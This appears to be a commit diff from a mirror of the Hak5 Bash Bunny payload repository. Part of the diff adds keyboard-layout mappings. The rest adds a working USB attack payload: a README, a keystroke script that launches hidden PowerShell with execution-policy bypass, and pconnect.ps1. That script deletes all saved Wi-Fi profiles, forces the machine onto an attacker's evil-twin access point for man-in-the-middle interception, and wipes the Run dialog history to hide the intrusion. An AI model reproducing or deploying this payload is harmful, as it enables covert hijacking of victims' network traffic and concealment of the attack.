mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Merge branch 'hak5:master' into master
This commit is contained in:
0iphor13
@@ -165,5 +165,104 @@
|
||||
"\\":"40,00,64",
|
||||
"COMMAND-CTRL-SHIFT":"40,00,64",
|
||||
"COMMAND-CTRL":"40,00,64",
|
||||
"COMMAND-OPTION-SHIFT'":"40,00,64"
|
||||
}
|
||||
"COMMAND-OPTION-SHIFT'":"40,00,64",
|
||||
"__comment":"Everything below was additionally added by kuyaya",
|
||||
"GUI-l":"08,00,0f",
|
||||
"RIGHTSHIFT":"20,00,00",
|
||||
"A":"20,00,04",
|
||||
"B":"20,00,05",
|
||||
"C":"20,00,06",
|
||||
"D":"20,00,07",
|
||||
"E":"20,00,08",
|
||||
"F":"20,00,09",
|
||||
"G":"20,00,0a",
|
||||
"H":"20,00,0b",
|
||||
"I":"20,00,0c",
|
||||
"J":"20,00,0d",
|
||||
"K":"20,00,0e",
|
||||
"L":"20,00,0f",
|
||||
"M":"20,00,10",
|
||||
"N":"20,00,11",
|
||||
"O":"20,00,12",
|
||||
"P":"20,00,13",
|
||||
"Q":"20,00,14",
|
||||
"R":"20,00,15",
|
||||
"S":"20,00,16",
|
||||
"T":"20,00,17",
|
||||
"U":"20,00,18",
|
||||
"V":"20,00,19",
|
||||
"W":"20,00,1a",
|
||||
"X":"20,00,1b",
|
||||
"Z":"20,00,1c",
|
||||
"Y":"20,00,1d",
|
||||
"+":"20,00,1e",
|
||||
"\"":"20,00,1f",
|
||||
"*":"20,00,20",
|
||||
"%":"20,00,22",
|
||||
"&":"20,00,23",
|
||||
"/":"20,00,24",
|
||||
"(":"20,00,25",
|
||||
")":"20,00,26",
|
||||
"=":"20,00,27",
|
||||
"?":"20,00,2d",
|
||||
"`":"20,00,2e",
|
||||
"!":"20,00,30",
|
||||
";":"20,00,36",
|
||||
":":"20,00,37",
|
||||
"_":"20,00,38",
|
||||
">":"20,00,64",
|
||||
"°":"02,00,35",
|
||||
"°":"20,00,35",
|
||||
"§":"00,00,35",
|
||||
"ç":"02,00,21",
|
||||
"ç":"20,00,21",
|
||||
"¬":"40,00,23",
|
||||
"¦":"40,00,1e",
|
||||
"¢":"40,00,25",
|
||||
"´":"40,00,2d",
|
||||
"BACKSPACE":"00,00,2a",
|
||||
"SHIFT-BACKSPACE":"02,00,2a",
|
||||
"SHIFT-BACKSPACE":"20,00,2a",
|
||||
"€":"40,00,08",
|
||||
"è":"02,00,2f",
|
||||
"è":"20,00,2f",
|
||||
"ü":"00,00,2f",
|
||||
"¨":"00,00,30",
|
||||
"é":"02,00,33",
|
||||
"é":"20,00,33",
|
||||
"ö":"00,00,33",
|
||||
"ä":"00,00,34",
|
||||
"à":"02,00,34",
|
||||
"à":"20,00,34",
|
||||
"£":"02,00,32",
|
||||
"£":"20,00,32",
|
||||
"ALT-GR":"40,00,00",
|
||||
"RIGHTCONTROL":"10,00,00",
|
||||
"NUMLOCK":"00,00,53",
|
||||
"+":"00,00,57",
|
||||
"-":"00,00,56",
|
||||
"*":"00,00,55",
|
||||
"/":"00,00,54",
|
||||
"ENTER":"00,00,58",
|
||||
"DEL":"00,00,63",
|
||||
"INSERT":"00,00,62",
|
||||
"END":"00,00,59",
|
||||
"DOWN":"00,00,5a",
|
||||
"PAGEDOWN":"00,00,5b",
|
||||
"LEFT":"00,00,5c",
|
||||
"RIGHT":"00,00,5e",
|
||||
"HOME":"00,00,5f",
|
||||
"UP":"00,00,60",
|
||||
"PAGEUP":"00,00,61",
|
||||
".":"00,00,63",
|
||||
"0":"00,00,62",
|
||||
"1":"00,00,59",
|
||||
"2":"00,00,5a",
|
||||
"3":"00,00,5b",
|
||||
"4":"00,00,5c",
|
||||
"5":"00,00,5d",
|
||||
"6":"00,00,5e",
|
||||
"7":"00,00,5f",
|
||||
"8":"00,00,60",
|
||||
"9":"00,00,61"
|
||||
}
|
||||
|
||||
23
payloads/library/general/Pineapple-Connect-Windows/README.md
Normal file
23
payloads/library/general/Pineapple-Connect-Windows/README.md
Normal file
@@ -0,0 +1,23 @@
|
||||
Title: Pineapple-Connect-Windows aka PanicAcid's Incog-neato WiFi Switcheroo'er
|
||||
|
||||
Author: PanicAcid
|
||||
|
||||
Version: 1.0
|
||||
|
||||
Deletes all saved wlans on a target machine and creates a new saved wlan with your desired SSID and PSK
|
||||
|
||||
Think getting a client to connect to your Mk7's Evil WPA Access Point.
|
||||
|
||||
Picture the scene, you're on assignemnt, you manage to get access to your targets laptop by whatever means, pop this payload in and bam! In a matter of seconds they're unknowingly redirected to your Pineapple.
|
||||
|
||||
If you have your Pineapple on the same network they were on, there's little chance they'd even notice the change. (short of doing an ipconfig or checking the connected network, who does that unless something's not working right? Congrats, you're now the MITM. Have at it.
|
||||
|
||||
Inspired by thatguy.exe on the Hak5 Discord
|
||||
|
||||
# Purple.............Loading
|
||||
# Green .............Execute
|
||||
# Off................Finished
|
||||
|
||||
Note that once again you'll want to set your DuckyLang to the correct language in the payload.txt and you'll need to edit the SSID and PSK variables in pconnect.ps1
|
||||
|
||||
This is intended to be used with the Evil WPA Access Point feature in the current Beta / up-coming Stable WiFi Pineapple Mk VII firmware.
|
||||
@@ -0,0 +1,45 @@
|
||||
#!/bin/bash
|
||||
# Title: Pineapple-Connect-Windows aka PanicAcid's Incog-neato WiFi Switcheroo'er
|
||||
# Description: Deletes all saved wlans on a target machine and creates a new saved wlan with your desired SSID and PSK
|
||||
# Think getting a client to connect to your Mk7's Evil WPA Access Point
|
||||
# Inspired by thatguy.exe on the Hak5 Discord
|
||||
# Author: PanicAcid
|
||||
# Version: 1.0
|
||||
# Category: General
|
||||
# Target: Windows (Powershell)
|
||||
# Attackmodes: HID, STORAGE
|
||||
#
|
||||
# Purple.............Loading
|
||||
# Green .............Execute
|
||||
# Off................Finished
|
||||
|
||||
|
||||
|
||||
# OPTIONS - More options available in the Powershell payload
|
||||
OBFUSCATECMD="N" # Y=yes or N=no
|
||||
|
||||
#-----------------------------------
|
||||
# Purple LED - initializing
|
||||
LED SETUP
|
||||
|
||||
GET SWITCH_POSITION
|
||||
DUCKY_LANG gb
|
||||
# Attackmode HID / Storage
|
||||
ATTACKMODE HID STORAGE
|
||||
|
||||
#-----------------------------------
|
||||
# Green LED - executing
|
||||
|
||||
LED STAGE1
|
||||
|
||||
#Let's Go!
|
||||
|
||||
QUACK GUI r
|
||||
QUACK DELAY 300
|
||||
QUACK STRING Powershell -nop -ex Bypass -w Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\pconnect.ps1')"
|
||||
QUACK ENTER
|
||||
|
||||
#-----------------------------------
|
||||
# Kill the lights - finished
|
||||
|
||||
LED FINISH
|
||||
@@ -0,0 +1,52 @@
|
||||
|
||||
$savedwlans = (netsh.exe wlan show profiles) -match " All User Profile : "
|
||||
$savedwlans = $savedwlans -replace " All User Profile : "
|
||||
|
||||
$profilexml="$env:temp\Pineapple.xml"
|
||||
$SSID="PineAP_WPA"
|
||||
$PSK="pineapplesareyummy"
|
||||
|
||||
ForEach ($savedwlan in $savedwlans){
|
||||
|
||||
netsh wlan delete profile name=$savedwlan
|
||||
|
||||
}
|
||||
|
||||
|
||||
$SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join''
|
||||
$xmlfile="<?xml version=""1.0""?>
|
||||
<WLANProfile xmlns=""http://www.microsoft.com/networking/WLAN/profile/v1"">
|
||||
<name>$SSID</name>
|
||||
<SSIDConfig>
|
||||
<SSID>
|
||||
<hex>$SSIDHEX</hex>
|
||||
<name>$SSID</name>
|
||||
</SSID>
|
||||
</SSIDConfig>
|
||||
<connectionType>ESS</connectionType>
|
||||
<connectionMode>auto</connectionMode>
|
||||
<MSM>
|
||||
<security>
|
||||
<authEncryption>
|
||||
<authentication>WPA2PSK</authentication>
|
||||
<encryption>AES</encryption>
|
||||
<useOneX>false</useOneX>
|
||||
</authEncryption>
|
||||
<sharedKey>
|
||||
<keyType>passPhrase</keyType>
|
||||
<protected>false</protected>
|
||||
<keyMaterial>$PSK</keyMaterial>
|
||||
</sharedKey>
|
||||
</security>
|
||||
</MSM>
|
||||
</WLANProfile>
|
||||
"
|
||||
|
||||
$XMLFILE > ($profilexml)
|
||||
netsh wlan add profile filename="$($profilexml)"
|
||||
netsh wlan show profiles $SSID key=clear
|
||||
netsh wlan connect name=$SSID
|
||||
|
||||
rm $profilexml
|
||||
|
||||
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue
|
||||
Reference in New Issue
Block a user